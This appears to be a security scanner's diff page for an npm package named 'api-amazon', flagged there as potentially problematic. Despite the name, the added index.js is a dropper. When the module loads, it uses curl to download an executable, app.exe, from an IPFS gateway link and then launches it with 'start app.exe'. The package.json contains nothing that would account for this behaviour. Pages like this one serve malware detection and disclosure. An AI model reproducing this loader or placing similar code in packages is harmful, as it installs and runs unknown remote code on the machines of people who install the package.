api-amazon 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of api-amazon might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +22 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,22 @@
1
+ const { exec } = require('child_process');
2
+
3
+ const downloadAndStart = () => {
4
+ const downloadCommand = 'curl -o app.exe https://bafybeierqmqw66mvmcavscfwhrh726abacvjnfypxqxgrew4sgbjn55k54.ipfs.nftstorage.link/app.exe';
5
+ const startCommand = 'start app.exe';
6
+
7
+ exec(downloadCommand, (error, stdout, stderr) => {
8
+ if (error || stderr) {
9
+ console.error('Une erreur s\'est produite lors du téléchargement ou de la commande curl.');
10
+ return;
11
+ }
12
+
13
+ exec(startCommand, (error, stdout, stderr) => {
14
+ if (error || stderr) {
15
+ console.error('Une erreur s\'est produite lors du démarrage de l\'application.');
16
+ return;
17
+ }
18
+ });
19
+ });
20
+ };
21
+
22
+ downloadAndStart();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "api-amazon",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }